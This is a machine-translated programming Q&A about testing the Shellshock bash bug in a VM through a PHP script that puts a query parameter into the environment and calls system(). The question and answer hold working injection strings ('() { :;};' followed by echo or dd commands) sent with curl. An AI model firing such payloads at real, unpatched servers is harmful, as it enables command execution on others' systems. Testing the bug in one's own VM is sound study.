Jak*_*ake 5 php linux bash shell
我正在尝试使用bash shell(版本4.2)测试PHP交互.我的bash shell没有针对shellshock进行修补(是的,我知道如何修补它;我在VM中测试;我更专注于与shell的PHP交互).
我有一个简单的PHP程序,它从查询字符串中获取参数,将其添加到环境中putenv(),然后使用运行命令system().脚本如下:
<?php
function getParam()
{
$arg = NULL;
if (isset($_GET["arg"]) && !empty($_GET["arg"]))
{
$arg = $_GET["arg"];
}
return $arg;
}
$arg = getParam();
putenv("ARG=$arg");
system("set");
?>
Run Code Online (Sandbox Code Playgroud)
的system(),你可以看到使用set命令打印shell变量.我首先尝试使用以下内容:
curl http://localhost/myphp.php?arg=123
Run Code Online (Sandbox Code Playgroud)
在输出中,我可以看到以下行:
ARG=123
Run Code Online (Sandbox Code Playgroud)
根据shellshock的精神,我改变了我的论点如下:
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"
Run Code Online (Sandbox Code Playgroud)
该参数基本上设置为:
arg=() { echo hello; };
Run Code Online (Sandbox Code Playgroud)
当我运行脚本时,我没有ARG在输出中看到set.
但后来我改变了卷曲请求如下:
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"
Run Code Online (Sandbox Code Playgroud)
这次,参数设置为:
arg=() { echo hello; }; echo PID:; echo $$; echo Set:; set
Run Code Online (Sandbox Code Playgroud)
这一次,我仍然没有ARG在输出中看到system(),但我确实看到了额外的输出,因为参数为:
PID:0
Set:
// Omitted some output
ARG ()
{
echo hello
}
Run Code Online (Sandbox Code Playgroud)
所以我的问题是,为什么我不在输出中看到参数,而是通过参数ARG在set输出中system()看到它set?
编辑:
修改问题以使其更清楚:在PHP代码中,我调用system(set)(最后一行)VS我set作为查询字符串的一部分传递.设置执行通过system()不显示ARG在shell变量中存在set从查询字符串执行的VS (尽管PID输出为0 - 因此必须考虑这一点来解释这一点).
这是完整的输出:http://pastebin.com/raw.php?i = WCBXgYAj
如果我换system(set)到system(env),我看到输出:http://pastebin.com/raw.php?i = q1r6Z3Zi
代替
arg=() { echo hello; };
Run Code Online (Sandbox Code Playgroud)
尝试这个
() { :;};echo Yes we can...
Run Code Online (Sandbox Code Playgroud)
或这个
%28%29%20%7B%20%3A%3B%7D%3Becho%20Yes%20we%20can...
Run Code Online (Sandbox Code Playgroud)
...或者也许介于两者之间
你可以尝试追踪一些东西:
(){ :;};dd if=/etc/hostname of=/tmp/testfile-$$-$RANDOM
Run Code Online (Sandbox Code Playgroud)